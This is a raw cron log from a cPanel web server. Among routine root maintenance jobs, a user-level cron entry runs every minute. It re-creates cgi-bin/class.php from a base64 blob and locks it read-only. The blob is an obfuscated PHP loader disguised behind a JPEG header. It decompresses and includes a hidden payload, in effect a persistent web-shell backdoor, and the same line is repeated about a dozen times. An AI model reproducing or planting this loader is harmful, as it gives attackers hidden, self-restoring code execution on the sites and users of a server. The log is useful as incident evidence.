Sep  4 09:15:01 server CROND[11196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:15:01 server CROND[11208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:15:01 server CROND[11211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:15:01 server CROND[11210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:15:01 server CROND[11212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:15:01 server CROND[11213]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 09:16:01 server CROND[12046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:16:01 server CROND[12045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:16:01 server CROND[12047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:17:01 server CROND[12491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:17:01 server CROND[12492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:17:01 server CROND[12494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:18:01 server CROND[12888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:18:01 server CROND[12889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:18:01 server CROND[12890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:19:01 server CROND[13267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:19:01 server CROND[13268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:19:01 server CROND[13270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:20:01 server CROND[13755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:20:01 server CROND[13756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:20:01 server CROND[13760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:20:01 server CROND[13762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:20:01 server CROND[13761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:20:01 server CROND[13772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:20:01 server CROND[13774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:20:01 server CROND[13776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:20:01 server CROND[13777]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:21:01 server CROND[14613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:21:01 server CROND[14615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:21:01 server CROND[14614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:22:01 server CROND[15003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:22:01 server CROND[15004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:22:01 server CROND[15006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:23:01 server CROND[15389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:23:01 server CROND[15390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:23:01 server CROND[15397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:24:01 server CROND[15769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:24:01 server CROND[15771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:24:01 server CROND[15770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:25:01 server CROND[16246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:25:01 server CROND[16247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:25:01 server CROND[16248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:25:01 server CROND[16251]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:25:01 server CROND[16249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:25:01 server CROND[16250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:25:01 server CROND[16252]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:26:01 server CROND[17082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:26:01 server CROND[17083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:26:01 server CROND[17084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:27:01 server CROND[17479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:27:01 server CROND[17481]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
